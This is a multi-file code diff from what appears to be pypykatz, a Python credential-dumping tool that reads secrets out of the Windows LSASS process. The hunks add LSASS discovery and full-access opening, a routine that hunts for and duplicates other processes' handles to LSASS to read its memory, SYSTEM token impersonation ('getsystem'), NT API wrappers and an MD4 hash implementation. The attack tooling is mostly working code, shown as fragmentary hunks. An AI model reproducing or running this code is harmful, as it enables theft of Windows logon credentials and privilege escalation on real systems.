268 t = self.current_position + size
269 if not self.inrange(t):
270 raise Exception('Would read out of buffer!')
271
272 old_new_pos = self.current_position
273 self.current_position = t
274 return self.data[old_new_pos:t]
275
276 async def read_int(self):
277 """
278 Reads an integer. The size depends on the architecture.
279 Reads a 4 byte small-endian singed int on 32 bit arch
280 Reads an 8 byte small-endian singed int on 64 bit arch
281 """
282 if self.processor_architecture == KatzSystemArchitecture.X64:
283 t = await self.read(8)
284 return int.from_bytes(t, byteorder = 'little', signed = True)
285 else:
286 t = await self.read(4)
287 return int.from_bytes(t, byteorder = 'little', signed = True)
288
289 async def read_uint(self):
290 """
291 Reads an integer. The size depends on the architecture.
292 Reads a 4 byte small-endian unsinged int on 32 bit arch
293 Reads an 8 byte small-endian unsinged int on 64 bit arch
294 """
295 if self.processor_architecture == KatzSystemArchitecture.X64:
296 t = await self.read(8)
297 return int.from_bytes(t, byteorder = 'little', signed = False)
298 else:
299 t = await self.read(4)
300 return int.from_bytes(t, byteorder = 'little', signed = False)
301
302 async def find(self, pattern):
303 """
304 Searches for a pattern in the current memory segment
305 """
306 pos = await self.data.find(pattern)
307 if pos == -1:
308 return -1
309 return pos + self.current_position
310
311 async def find_all(self, pattern):
312 """
313 Searches for all occurrences of a pattern in the current memory segment, returns all occurrences as a list
314 """
315 pos = []
316 last_found = -1
317 while True:
318 last_found = await self.data.find(pattern, last_found + 1)
319 if last_found == -1:
320 break
321 pos.append(last_found + self.start_address)
322
323 return pos
324
325 async def get_ptr(self, pos):
326 await self.move(pos)
327 return await self.read_uint()
328 #raw_data = self.read(pos, self.sizeof_ptr)
329 #return struct.unpack(self.unpack_ptr, raw_data)[0]
330
331 async def get_ptr_with_offset(self, pos):
332 if self.processor_architecture == KatzSystemArchitecture.X64:
333 await self.move(pos)
334 ptr = int.from_bytes(self.read(4), byteorder = 'little', signed = True)
335 return pos + 4 + ptr
336 #raw_data = self.read(pos, self.sizeof_long)
337 #ptr = struct.unpack(self.unpack_long, raw_data)[0]
338 #return pos + self.sizeof_long + ptr
339 else:
340 await self.move(pos)
341 return await self.read_uint()
171342 #raw_data = self.read(pos, self.sizeof_long)
172343 #return struct.unpack(self.unpack_long, raw_data)[0]
173344
700700 _fields_ = [
701701 ("Length", USHORT),
702702 ("MaximumLength", USHORT),
703 ("Buffer", PVOID),
703 ("Buffer", PWSTR),
704704 ]
705705
706706 # From MSDN:
608608 ('lpAttributeList', PPROC_THREAD_ATTRIBUTE_LIST),
609609 ]
610610 LPSTARTUPINFOEXW = POINTER(STARTUPINFOEXW)
611
612
613 class SYSTEM_PROCESS_ID_INFORMATION(Structure):
614 _fields_ = (('ProcessId', HANDLE),
615 ('ImageName', UNICODE_STRING),
616 )
617
618 class SYSTEM_INFORMATION_CLASS(ctypes.c_ulong):
619 def __repr__(self):
620 return '%s(%s)' % (type(self).__name__, self.value)
621
622
623 ProcessBasicInformation = SYSTEM_INFORMATION_CLASS(0)
624 ProcessProtectionInformation = SYSTEM_INFORMATION_CLASS(61)
625 SystemExtendedHandleInformation = SYSTEM_INFORMATION_CLASS(64)
626 SystemProcessIdInformation = SYSTEM_INFORMATION_CLASS(88)
627
628 class PROCESS_BASIC_INFORMATION(Structure):
629 _fields_ = (('Reserved1', PVOID),
630 ('PebBaseAddress', PVOID),
631 ('Reserved2', PVOID * 2),
632 ('UniqueProcessId', ULONG_PTR),
633 ('Reserved3', PVOID))
634
635 class _PROCESS_EXTENDED_BASIC_INFORMATION_UNION1(Structure):
636 _fields_ = (('IsProtectedProcess', ULONG, 1),
637 ('IsWow64Process', ULONG, 1),
638 ('IsProcessDeleting', ULONG, 1),
639 ('IsCrossSessionCreate', ULONG, 1),
640 ('IsFrozen', ULONG, 1),
641 ('IsBackground', ULONG, 1),
642 ('IsStronglyNamed', ULONG, 1),
643 ('IsSecureProcess', ULONG, 1),
644 ('IsSubsystemProcess', ULONG, 1),
645 ('SpareBits', ULONG,23))
646
647 class _PROCESS_EXTENDED_BASIC_INFORMATION_UNION(Union):
648 _anonymous_ = ('obj',)
649 _fields_ = (('Flags', ULONG),
650 ('obj', _PROCESS_EXTENDED_BASIC_INFORMATION_UNION1))
651
652
653 class PROCESS_EXTENDED_BASIC_INFORMATION(Structure):
654 _anonymous_ = ('obj',)
655 _fields_ = (('Size', SIZE_T),
656 ('BasicInfo', PROCESS_BASIC_INFORMATION),
657 ('obj', _PROCESS_EXTENDED_BASIC_INFORMATION_UNION))
658
659
660 class UNION_PS_PROTECTION(Structure):
661 _fields_ = (('Type', UCHAR, 3),
662 ('Audit', BOOLEAN, 1),
663 ('Signer', UCHAR, 4),
664 )
665
666 class PS_PROTECTION(Union):
667 _anonymous_ = ('obj',)
668 _fields_ = (('Level', UCHAR),
669 ('obj', UNION_PS_PROTECTION),
670 )
33 import enum
44 import logging
55
6 from .kernel32 import *
7 from .psapi import *
6 from pypykatz.commons.readers.local.common.kernel32 import *
7 from pypykatz.commons.readers.local.common.psapi import *
88
99 class WindowsMinBuild(enum.Enum):
1010 WIN_XP = 2500
4747 else:
4848 PROCESS_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFF
4949
50
51 def QueryDosDevice(drive_letter):
52 buffer_length = 1024
53 buf = ctypes.create_unicode_buffer(buffer_length)
54 status = windll.kernel32.QueryDosDeviceW(drive_letter, buf, buffer_length)
55 if status == 0:
56 raise ctypes.WinError()
57 return buf.value
58
59
60 def get_drives():
61 drives = []
62 bitmask = windll.kernel32.GetLogicalDrives()
63 for letter in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':
64 if bitmask & 1:
65 drives.append(letter + ':')
66 bitmask >>= 1
67 return drives
68
69 def get_device_prefixes():
70 device_prefixes = {}
71 drives = get_drives()
72 for drive in drives:
73 device_prefixes[QueryDosDevice(drive)] = drive
74 return device_prefixes
75
76 DEVICE_PREFIXES = get_device_prefixes()
77
78 WINDOWS_BUILD_NUMBER = getWindowsBuild()
5079 PROCESS_QUERY_INFORMATION = 0x0400
80 PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
5181 PROCESS_VM_READ = 0x0010
52
53
82 MAXIMUM_ALLOWED = 33554432
83 STATUS_INFO_LENGTH_MISMATCH = -1073741820
84 MAX_PATH_UNICODE = 1 << 15
85
86 # Get full normalized image path of a process using NtQuerySystemInformation
87 # It doesn't need any special privileges
88 def get_process_full_imagename(pid):
89 _NtQuerySystemInformation = windll.ntdll.NtQuerySystemInformation
90 image_filename = ''
91 buf = ctypes.create_unicode_buffer(0x1000)
92 process_info = SYSTEM_PROCESS_ID_INFORMATION()
93 process_info.ProcessId = ctypes.c_void_p(pid)
94 process_info.ImageName.MaximumLength = len(buf)
95 process_info.ImageName.Buffer = addressof(buf)
96 status = _NtQuerySystemInformation(
97 SystemProcessIdInformation,
98 process_info,
99 sizeof(process_info),
100 None)
101 if status == STATUS_INFO_LENGTH_MISMATCH:
102 buf = ctypes.create_unicode_buffer(MAX_PATH_UNICODE)
103 process_info.ImageName.MaximumLength = len(buf)
104 process_info.ImageName.Buffer = addressof(buf)
105 status = _NtQuerySystemInformation(
106 SystemProcessIdInformation,
107 process_info,
108 sizeof(process_info),
109 None)
110 if status == 0:
111 image_filename = str(process_info.ImageName.Buffer)
112 if image_filename.startswith('\\Device\\'):
113 for win_path in DEVICE_PREFIXES:
114 if image_filename.startswith(win_path):
115 image_filename = DEVICE_PREFIXES[win_path] + image_filename[len(win_path):]
116 else:
117 image_filename = 'N/A'
118 return image_filename
119
120 PS_PROTECTED_TYPE_STRINGS = [None,"Light","Full"]
121 PS_PROTECTED_SIGNER_STRINGS = [None, "Authenticode", "CodeGen", "Antimalware", "Lsa",
122 "Windows", "WinTcb", "WinSystem", "StoreApp"]
123 PS_PROTECTED_TYPE_OLD_OS_STRINGS = [None,"System protected process"]
124
54125 #https://msdn.microsoft.com/en-us/library/windows/desktop/ms683217(v=vs.85).aspx
126 #def enum_process_names():
127 # pid_to_fullname = {}
128 #
129 # for pid in EnumProcesses():
130 # if pid == 0:
131 # continue
132 #
133 # pid_to_fullname[pid] = get_process_full_imagename(pid)
134 # return pid_to_fullname
135
55136 def enum_process_names():
56137 pid_to_name = {}
57138
66147
67148 pid_to_name[pid] = QueryFullProcessImageNameW(process_handle)
68149 return pid_to_name
69
150
151 def get_process_extended_basic_information(pid,process_handle=None):
152 process_basic_info = PROCESS_EXTENDED_BASIC_INFORMATION()
153 process_basic_info.Size = sizeof(PROCESS_EXTENDED_BASIC_INFORMATION)
154 _NtQueryInformationProcess = windll.ntdll.NtQueryInformationProcess
155 if process_handle == None:
156 process_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid)
157
158 status = _NtQueryInformationProcess(process_handle,
159 ProcessBasicInformation,
160 byref(process_basic_info),
161 process_basic_info.Size,
162 None)
163 if status < 0:
164 raise ctypes.WinError()
165 CloseHandle(process_handle)
166 return process_basic_info
167
168
169 def get_protected_process_infos(pid,process_handle=None):
170 process_protection_infos = None
171 _NtQueryInformationProcess = windll.ntdll.NtQueryInformationProcess
172 if process_handle == None:
173 process_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid)
174 if WINDOWS_BUILD_NUMBER >= WindowsMinBuild.WIN_8.value:
175 protection_info = PS_PROTECTION()
176 status = _NtQueryInformationProcess(process_handle,
177 ProcessProtectionInformation,
178 byref(protection_info),
179 sizeof(protection_info),
180 None)
181 if status < 0:
182 raise ctypes.WinError()
183 if protection_info.Type > 0:
184 process_protection_infos = {"level": protection_info.Level,
185 "type": PS_PROTECTED_TYPE_STRINGS[protection_info.Type],
186 "signer": PS_PROTECTED_SIGNER_STRINGS[protection_info.Signer],
187 "audit": protection_info.Audit}
188 else:
189 _ps_extended_basic_information = get_process_extended_basic_information(pid,process_handle)
190 if _ps_extended_basic_information.IsProtectedProcess:
191 process_protection_infos = {"type": 'System protected process'}
192 CloseHandle(process_handle)
193 return process_protection_infos
70194
71195 def get_lsass_pid():
72196 pid_to_name = enum_process_names()
73197 for pid in pid_to_name:
74 if pid_to_name[pid].lower().find('lsass.exe') != -1:
198 if pid_to_name[pid].lower().endswith('lsass.exe'):
75199 return pid
76200
77 raise Exception('Failed to find lsass.exe')
201 raise Exception('Failed to find lsass.exe')
286286 self.move(pos)
287287 return self.read_uint()
288288
289 def find_in_module(self, module_name, pattern):
290 t = self.reader.search_module(module_name, pattern)
289 def find_in_module(self, module_name, pattern, find_first = False, reverse_order = False):
290 t = self.reader.search_module(module_name, pattern, find_first = find_first, reverse_order = reverse_order)
291291 return t
292292
293293
294294 class LiveReader:
295 def __init__(self):
295 def __init__(self, lsass_process_handle = None):
296296 self.processor_architecture = None
297297 self.lsass_process_name = 'lsass.exe'
298 self.lsass_process_handle = None
298 self.lsass_process_handle = lsass_process_handle
299299 self.current_position = None
300300 self.BuildNumber = None
301301 self.modules = []
338338 buildnumber, t = winreg.QueryValueEx(key, 'CurrentBuildNumber')
339339 self.BuildNumber = int(buildnumber)
340340
341
342 logging.log(1, 'Searching for lsass.exe')
343 pid = get_lsass_pid()
344 logging.log(1, 'Lsass.exe found at PID %d' % pid)
345 logging.log(1, 'Opening lsass.exe')
346 self.lsass_process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
347341 if self.lsass_process_handle is None:
348 raise Exception('Failed to open lsass.exe Reason: %s' % WinError(get_last_error()))
349
342 logging.log(1, 'Searching for lsass.exe')
343 pid = get_lsass_pid()
344 logging.log(1, 'Lsass.exe found at PID %d' % pid)
345 logging.log(1, 'Checking Lsass.exe protection status')
346 #proc_protection_info = get_protected_process_infos(pid)
347 #protection_msg = "Protection Status: No protection"
348 #if proc_protection_info:
349 # protection_msg = f"Protection Status: {proc_protection_info['type']}"
350 # if 'signer' in proc_protection_info:
351 # protection_msg += f" ({proc_protection_info['signer']})"
352 # raise Exception('Failed to open lsass.exe Reason: %s' % protection_msg)
353 #logging.log(1, protection_msg)
354 logging.log(1, 'Opening lsass.exe')
355 self.lsass_process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
356 if self.lsass_process_handle is None:
357 raise Exception('Failed to open lsass.exe Reason: %s' % ctypes.WinError())
358 else:
359 logging.debug('Using pre-defined handle')
350360 logging.log(1, 'Enumerating modules')
351361 module_handles = EnumProcessModules(self.lsass_process_handle)
352362 for module_handle in module_handles:
391401 return mod
392402 return None
393403
394 def search_module(self, module_name, pattern):
404 def search_module(self, module_name, pattern, find_first = False, reverse_order = False):
395405 mod = self.get_module_by_name(module_name)
396406 if mod is None:
397407 raise Exception('Could not find module! %s' % module_name)
398 t = []
408 needles = []
399409 for page in mod.pages:
400 t += page.search(pattern, self.lsass_process_handle)
401 #for ms in self.pages:
402 # if mod.baseaddress <= ms.start_virtual_address < mod.endaddress:
403 # t+= ms.search(pattern, self.lsass_process_handle)
404
405 return t
406
407
408
409
410 needles += page.search(pattern, self.lsass_process_handle)
411 if len(needles) > 0 and find_first is True:
412 return needles
413
414 return needles
410415
411416 if __name__ == '__main__':
412417 logging.basicConfig(level=1)
205205 return module
206206
207207
208 def find_in_module(self, module_name, pattern):
208 def find_in_module(self, module_name, pattern, find_first = False, reverse_order = False):
209209 if module_name.lower() not in self.modules:
210210 raise Exception('Module is not in lsass emmory space! %s' % module_name)
211211 module = self.modules[module_name.lower()]
200200 def peek(self, size):
201201 return self.proc_layer.read(self.cur_pos, size)
202202
203 def find_in_module(self, module_name, pattern):
203 def find_in_module(self, module_name, pattern, find_first = False, reverse_order = False):
204204 if module_name.lower() not in self.modules:
205205 raise Exception('Module is not in lsass memory space! %s' % module_name)
206206 module = self.modules[module_name.lower()]
224224 t = cred.to_dict()
225225 if t['credtype'] != 'dpapi':
226226 if t['password'] is not None:
227 x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])]
227 x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password']), '']
228228 yield 0, x
229229 else:
230230 t = cred.to_dict()
88 import logging
99 from minidump.win_datatypes import DWORD, LONG, LONGLONG, \
1010 POINTER, UINT8, ULONG, PWSTR, USHORT, PCHAR, SHORT, \
11 BYTE, PVOID, WORD
11 BYTE, PVOID, WORD, DWORD64
1212 #from pypykatz.commons.common import *
1313
1414 class LARGE_INTEGER:
205205 self.Data3 = WORD(reader).value
206206 self.Data4 = reader.read(8)
207207 self.value = '-'.join([
208 hex(self.Data1)[2:],
209 hex(self.Data2)[2:],
210 hex(self.Data3)[2:],
211 hex(int.from_bytes(self.Data4[:2], byteorder = 'big', signed = False))[2:],
212 hex(int.from_bytes(self.Data4[2:], byteorder = 'big', signed = False))[2:]
208 hex(self.Data1)[2:].zfill(8),
209 hex(self.Data2)[2:].zfill(4),
210 hex(self.Data3)[2:].zfill(4),
211 hex(int.from_bytes(self.Data4[:2], byteorder = 'big', signed = False))[2:].zfill(4),
212 hex(int.from_bytes(self.Data4[2:], byteorder = 'big', signed = False))[2:].zfill(12)
213213 ])
214
215 @staticmethod
216 def from_string(str):
217 guid = GUID()
218 guid.Data1 = bytes.fromhex(str.split('-')[0])
219 guid.Data2 = bytes.fromhex(str.split('-')[1])
220 guid.Data3 = bytes.fromhex(str.split('-')[2])
221 guid.Data4 = bytes.fromhex(str.split('-')[3])
222 guid.Data4 += bytes.fromhex(str.split('-')[4])
223 return guid
214224
215225 class PLIST_ENTRY(POINTER):
216226 def __init__(self, reader):
221231 self.location = reader.tell()
222232 self.Flink = PLIST_ENTRY(reader)
223233 self.Blink = PLIST_ENTRY(reader)
224
234
00
11 import ctypes
22 from pypykatz.commons.winapi.constants import *
3 from pypykatz.commons.winapi.local.function_defs.advapi32 import LookupPrivilegeValueW, OpenProcessToken, GetTokenInformation_sid, LookupAccountSidW, ConvertSidToStringSidA, DuplicateTokenEx, CreateProcessWithTokenW, SetThreadToken, ConvertStringSidToSidA, LOGON_NETCREDENTIALS_ONLY
3 from pypykatz.commons.winapi.local.function_defs.advapi32 import RevertToSelf, LookupPrivilegeValueW, OpenProcessToken, GetTokenInformation_sid, LookupAccountSidW, ConvertSidToStringSidA, DuplicateTokenEx, CreateProcessWithTokenW, SetThreadToken, ConvertStringSidToSidA, LOGON_NETCREDENTIALS_ONLY
44 from pypykatz.commons.winapi.local.function_defs.kernel32 import STARTUPINFOW
55
66
7272 @staticmethod
7373 def SetThreadToken(token_handle, thread_handle = None):
7474 return SetThreadToken(token_handle, thread_handle = thread_handle)
75
76 @staticmethod
77 def RevertToSelf():
78 return RevertToSelf()
7579
32043204 if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUSW) * ServicesReturned.value):
32053205 raise ctypes.WinError()
32063206 lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUSW)
3207 for index in xrange(0, ServicesReturned.value):
3207 for index in range(0, ServicesReturned.value):
32083208 Services.append( ServiceStatusEntry(lpServicesArray[index]) )
32093209 if success: break
32103210 if not success:
33183318
33193319 _SetThreadToken(thread_handle, token_handle)
33203320
3321
3321 def RevertToSelf():
3322 _RevertToSelf = windll.advapi32.RevertToSelf
3323 _RevertToSelf.argtypes = []
3324 _RevertToSelf.restype = bool
3325 _RevertToSelf.errcheck = RaiseIfZero
3326
3327 _RevertToSelf()
33223328
33233329 #==============================================================================
33243330 # This calculates the list of exported symbols.
702702 ("MaximumLength", USHORT),
703703 ("Buffer", PVOID),
704704 ]
705
706 def getString(self):
707 return ctypes.string_at(self.Buffer, self.Length).decode('utf-16-le')
705708
706709 # From MSDN:
707710 #
6464 WRITE_WATCH_FLAG_RESET = 0x01
6565 FILE_MAP_ALL_ACCESS = 0xF001F
6666
67 PROCESS_DUP_HANDLE = 0x0040
68
6769 class UserModeHandle (HANDLE):
6870 """
6971 Base class for non-kernel handles. Generally this means they are closed
341343 _GetCurrentProcessId.argtypes = []
342344 _GetCurrentProcessId.restype = DWORD
343345 return _GetCurrentProcessId()
346
347 # HANDLE WINAPI GetCurrentProcess(void);
348 def GetCurrentProcess():
349 ## return 0xFFFFFFFFFFFFFFFFL
350 _GetCurrentProcess = windll.kernel32.GetCurrentProcess
351 _GetCurrentProcess.argtypes = []
352 _GetCurrentProcess.restype = HANDLE
353 return _GetCurrentProcess()
344354
345355 # BOOL WINAPI QueryFullProcessImageName(
346356 # __in HANDLE hProcess,
33 import enum
44 import logging
55
6 from pypykatz import logger
7 from .ntdll import *
68 from .kernel32 import *
79 from .psapi import *
810
7476 if pid_to_name[pid].lower().find('lsass.exe') != -1:
7577 return pid
7678
77 raise Exception('Failed to find lsass.exe')
79 raise Exception('Failed to find lsass.exe')
80
81 def enum_lsass_handles():
82 #searches for open LSASS process handles in all processes
83 # you should be having SE_DEBUG enabled at this point
84 RtlAdjustPrivilege(20)
85
86 lsass_handles = []
87 sysinfohandles = NtQuerySystemInformation(16)
88 for pid in sysinfohandles:
89 if pid == 4:
90 continue
91 #if pid != GetCurrentProcessId():
92 # continue
93 for syshandle in sysinfohandles[pid]:
94 #print(pid)
95 try:
96 pHandle = OpenProcess(PROCESS_DUP_HANDLE, False, pid)
97 except Exception as e:
98 logger.debug('Error opening process %s Reason: %s' % (pid, e))
99 continue
100
101 try:
102 dupHandle = NtDuplicateObject(pHandle, syshandle.Handle, GetCurrentProcess(), PROCESS_QUERY_INFORMATION|PROCESS_VM_READ)
103 #print(dupHandle)
104 except Exception as e:
105 logger.debug('Failed to duplicate object! PID: %s HANDLE: %s' % (pid, hex(syshandle.Handle)))
106 continue
107
108 oinfo = NtQueryObject(dupHandle, ObjectTypeInformation)
109 if oinfo.Name.getString() == 'Process':
110 try:
111 pname = QueryFullProcessImageNameW(dupHandle)
112 if pname.lower().find('lsass.exe') != -1:
113 logger.debug('Found open handle to lsass! PID: %s HANDLE: %s' % (pid, hex(syshandle.Handle)))
114 #print('%s : %s' % (pid, pname))
115 lsass_handles.append((pid, dupHandle))
116 except Exception as e:
117 logger.debug('Failed to obtain the path of the process! PID: %s' % pid)
118 continue
119
120 return lsass_handles
121
22 from ctypes import windll
33 from ctypes.wintypes import ULONG, BOOL,LONG
44
5 from .defines import *
5 from pypykatz.commons.winapi.local.function_defs.defines import *
6
7 SystemHandleInformation = 16
8 ObjectBasicInformation = 0
9 ObjectNameInformation = 1
10 ObjectTypeInformation = 2
11
12
13 POOL_TYPE = ctypes.c_int
14 NonPagedPool = 1
15 PagedPool = 2
16 NonPagedPoolMustSucceed = 3
17 DontUseThisType = 4
18 NonPagedPoolCacheAligned = 5
19 PagedPoolCacheAligned = 6
20 NonPagedPoolCacheAlignedMustS = 7
21
22 # https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-generic_mapping
23 class GENERIC_MAPPING(Structure):
24 _fields_ = [
25 ("GenericRead", ACCESS_MASK ),
26 ("GenericWrite", ACCESS_MASK ),
27 ("GenericExecute", ACCESS_MASK ),
28 ("GenericAll", ACCESS_MASK ),
29 ]
30
31 PGENERIC_MAPPING = POINTER(GENERIC_MAPPING)
32
33 class SYSTEM_HANDLE(Structure):
34 _fields_ = [
35 ("ProcessId", ULONG),
36 ("ObjectTypeNumber", BYTE),
37 ("Flags", BYTE),
38 ("Handle", USHORT),
39 ("Object", PVOID),
40 ("GrantedAccess", ACCESS_MASK),
41 ]
42
43 PSYSTEM_HANDLE = POINTER(SYSTEM_HANDLE)
44
45 #class SYSTEM_HANDLE_INFORMATION(Structure):
46 # _fields_ = [
47 # ("HandleCount", ULONG),
48 # ("Handles", SYSTEM_HANDLE), #not just one handle
49 # ]
50 #
51 #PSYSTEM_HANDLE_INFORMATION = POINTER(SYSTEM_HANDLE_INFORMATION)
52
53 class OBJECT_TYPE_INFORMATION(Structure):
54 _fields_ = [
55 ("Name", UNICODE_STRING),
56 ("TotalNumberOfObjects", ULONG),
57 ("TotalNumberOfHandles", ULONG),
58 ("TotalPagedPoolUsage", ULONG),
59 ("TotalNonPagedPoolUsage", ULONG),
60 ("TotalNamePoolUsage", ULONG),
61 ("TotalHandleTableUsage", ULONG),
62 ("HighWaterNumberOfObjects", ULONG),
63 ("HighWaterNumberOfHandles", ULONG),
64 ("HighWaterPagedPoolUsage", ULONG),
65 ("HighWaterNonPagedPoolUsage", ULONG),
66 ("HighWaterNamePoolUsage", ULONG),
67 ("HighWaterHandleTableUsage", ULONG),
68 ("GenericMapping", GENERIC_MAPPING),
69 ("ValidAccess", ULONG),
70 ("SecurityRequired", BOOLEAN),
71 ("MaintainHandleCount", BOOLEAN),
72 ("MaintainTypeList", USHORT),
73 ("PoolType", POOL_TYPE),
74 ("PagedPoolUsage", ULONG),
75 ("NonPagedPoolUsage", ULONG),
76 ]
77
78 POBJECT_TYPE_INFORMATION = POINTER(OBJECT_TYPE_INFORMATION)
79
680
781 # https://source.winehq.org/WineAPI/RtlAdjustPrivilege.html
882 # BOOL WINAPI RtlAdjustPrivilege(
27101 if status != 0:
28102 raise Exception('Failed call to RtlAdjustPrivilege! Status: %s' % status)
29103
30 return Enabled.value
104 return Enabled.value
105
106 # https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation
107 def NtQuerySystemInformation(info_type):
108 _NtQuerySystemInformation = windll.ntdll.NtQuerySystemInformation
109 _NtQuerySystemInformation.argtypes = [ULONG, PVOID, ULONG, PULONG]
110 _NtQuerySystemInformation.restype = ULONG
111
112 handleinfos = {}
113
114 if info_type != 16:
115 raise Exception('info_type only the value 16 is supported!')
116
117 size = DWORD(0x10)
118 data = ctypes.create_string_buffer(size.value)
119 while True:
120 #_NtQuerySystemInformation returns an incorrect expected size...
121 size = DWORD(size.value*2)
122 data = ctypes.create_string_buffer(size.value)
123 status = _NtQuerySystemInformation(info_type, ctypes.byref(data), size, ctypes.byref(size))
124 if status == 0:
125 break
126 if status != 0xC0000004:
127 raise Exception('NtQuerySystemInformation returned %s' % hex(status))
128
129 status = _NtQuerySystemInformation(info_type, ctypes.byref(data), size, ctypes.byref(size))
130
131 data_bytes = bytearray(data.raw[:size.value])
132
133 hc = ULONG.from_buffer(data_bytes)
134
135 class SYSTEM_HANDLE_INFORMATION(Structure):
136 _fields_ = [
137 ("HandleCount", ULONG),
138 ("Handles", SYSTEM_HANDLE*hc.value), #not just one handle
139 ]
140
141
142 syshandleinfo = SYSTEM_HANDLE_INFORMATION.from_buffer(data_bytes)
143
144 for i in range(syshandleinfo.HandleCount):
145 if not syshandleinfo.Handles[i].ProcessId in handleinfos:
146 handleinfos[syshandleinfo.Handles[i].ProcessId] = []
147 handleinfos[syshandleinfo.Handles[i].ProcessId].append(syshandleinfo.Handles[i])
148
149 return handleinfos
150
151
152 def NtDuplicateObject(SourceProcessHandle, SourceHandle, TargetProcessHandle, DesiredAccess = 0):
153 """
154 privilige_id: int
155 """
156 _NtDuplicateObject = windll.ntdll.NtDuplicateObject
157 _NtDuplicateObject.argtypes = [HANDLE, HANDLE, HANDLE, PHANDLE, ACCESS_MASK, ULONG, ULONG]
158 _NtDuplicateObject.restype = ULONG
159
160
161
162 oHandle = HANDLE()
163 status = _NtDuplicateObject(SourceProcessHandle, SourceHandle, TargetProcessHandle, ctypes.byref(oHandle), DesiredAccess,0,0)
164 if status != 0:
165 raise Exception('Failed call to NtDuplicateObject! Status: %s' % status)
166
167 return oHandle
168
169 def NtQueryObject(ObjectHandle, ObjectInformationClass):
170 """
171 privilige_id: int
172 """
173 _NtQueryObject = windll.ntdll.NtQueryObject
174 _NtQueryObject.argtypes = [HANDLE, ULONG, PVOID, ULONG, PULONG]
175 _NtQueryObject.restype = ULONG
176
177 #if ObjectInformationClass not in [ObjectNameInformation, ObjectTypeInformation]:
178 if ObjectInformationClass != ObjectTypeInformation:
179 raise Exception('Unsupported ObjectInformationClass value %s.' % ObjectInformationClass )
180
181 size = ULONG(0x10)
182 oinfo_data = ctypes.create_string_buffer(size.value)
183
184 while True:
185 oinfo_data = ctypes.create_string_buffer(size.value)
186 status = _NtQueryObject(ObjectHandle, ObjectInformationClass, oinfo_data, size, ctypes.byref(size))
187 if status == 0xc0000004:
188 continue
189 if status != 0:
190 raise Exception('Failed call to NtDuplicateObject! Status: %s' % hex(status))
191
192 break
193
194 if ObjectInformationClass == ObjectNameInformation:
195 raise NotImplementedError('TODO: implement me when needed!')
196 elif ObjectInformationClass == ObjectTypeInformation:
197 oinfo = OBJECT_TYPE_INFORMATION.from_buffer(bytearray(oinfo_data.raw[:size.value]))
198
199 return oinfo
200
202202 else:
203203 logger.debug('[ProcessManipulator] Sucsessfully created process!')
204204 break
205
206 def getsystem(self):
207 self.assign_token_thread_sid('S-1-5-18')
208
209 def dropsystem(self):
210 self.api.advapi32.RevertToSelf()
205211
206212 if __name__ == '__main__':
207213 pm = ProcessManipulator()
0 #!/usr/bin/env python3
1 # -*- coding: utf-8 -*-
2 #
3 # Copyright © 2019 James Seo <[email protected]> (github.com/kangtastic).
4 #
5 # This file is released under the WTFPL, version 2 (wtfpl.net).
6 #
7 # md4.py: An implementation of the MD4 hash algorithm in pure Python 3.
8 #
9 # Description: Zounds! Yet another rendition of pseudocode from RFC1320!
10 # Bonus points for the algorithm literally being from 1992.
11 #
12 # Usage: Why would anybody use this? This is self-rolled crypto, and
13 # self-rolled *obsolete* crypto at that. DO NOT USE if you need
14 # something "performant" or "secure". :P
15 #
16 # Anyway, from the command line:
17 #
18 # $ ./md4.py [messages]
19 #
20 # where [messages] are some strings to be hashed.
21 #
22 # In Python, use similarly to hashlib (not that it even has MD4):
23 #
24 # from .md4 import MD4
25 #
26 # digest = MD4("BEES").hexdigest()
27 #
28 # print(digest) # "501af1ef4b68495b5b7e37b15b4cda68"
29 #
30 #
31 # Sample console output:
32 #
33 # Testing the MD4 class.
34 #
35 # Message: b''
36 # Expected: 31d6cfe0d16ae931b73c59d7e0c089c0
37 # Actual: 31d6cfe0d16ae931b73c59d7e0c089c0
38 #
39 # Message: b'The quick brown fox jumps over the lazy dog'
40 # Expected: 1bee69a46ba811185c194762abaeae90
41 # Actual: 1bee69a46ba811185c194762abaeae90
42 #
43 # Message: b'BEES'
44 # Expected: 501af1ef4b68495b5b7e37b15b4cda68
45 # Actual: 501af1ef4b68495b5b7e37b15b4cda68
46 #
47 import struct
48
49
50 class MD4:
51 """An implementation of the MD4 hash algorithm."""
52
53 width = 32
54 mask = 0xFFFFFFFF
55
56 # Unlike, say, SHA-1, MD4 uses little-endian. Fascinating!
57 h = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476]
58
59 def __init__(self, msg=None):
60 """:param ByteString msg: The message to be hashed."""
61 if msg is None:
62 msg = b""
63
64 self.msg = msg
65
66 # Pre-processing: Total length is a multiple of 512 bits.
67 ml = len(msg) * 8
68 msg += b"\x80"
69 msg += b"\x00" * (-(len(msg) + 8) % 64)
70 msg += struct.pack("<Q", ml)
71
72 # Process the message in successive 512-bit chunks.
73 self._process([msg[i : i + 64] for i in range(0, len(msg), 64)])
74
75 def __repr__(self):
76 if self.msg:
77 return f"{self.__class__.__name__}({self.msg:s})"
78 return f"{self.__class__.__name__}()"
79
80 def __str__(self):
81 return self.hexdigest()
82
83 def __eq__(self, other):
84 return self.h == other.h
85
86 def bytes(self):
87 """:return: The final hash value as a `bytes` object."""
88 return struct.pack("<4L", *self.h)
89
90 def hexbytes(self):
91 """:return: The final hash value as hexbytes."""
92 return self.hexdigest().encode
93
94 def hexdigest(self):
95 """:return: The final hash value as a hexstring."""
96 return "".join(f"{value:02x}" for value in self.bytes())
97
98 def digest(self):
99 return self.bytes()
100
101 def _process(self, chunks):
102 for chunk in chunks:
103 X, h = list(struct.unpack("<16I", chunk)), self.h.copy()
104
105 # Round 1.
106 Xi = [3, 7, 11, 19]
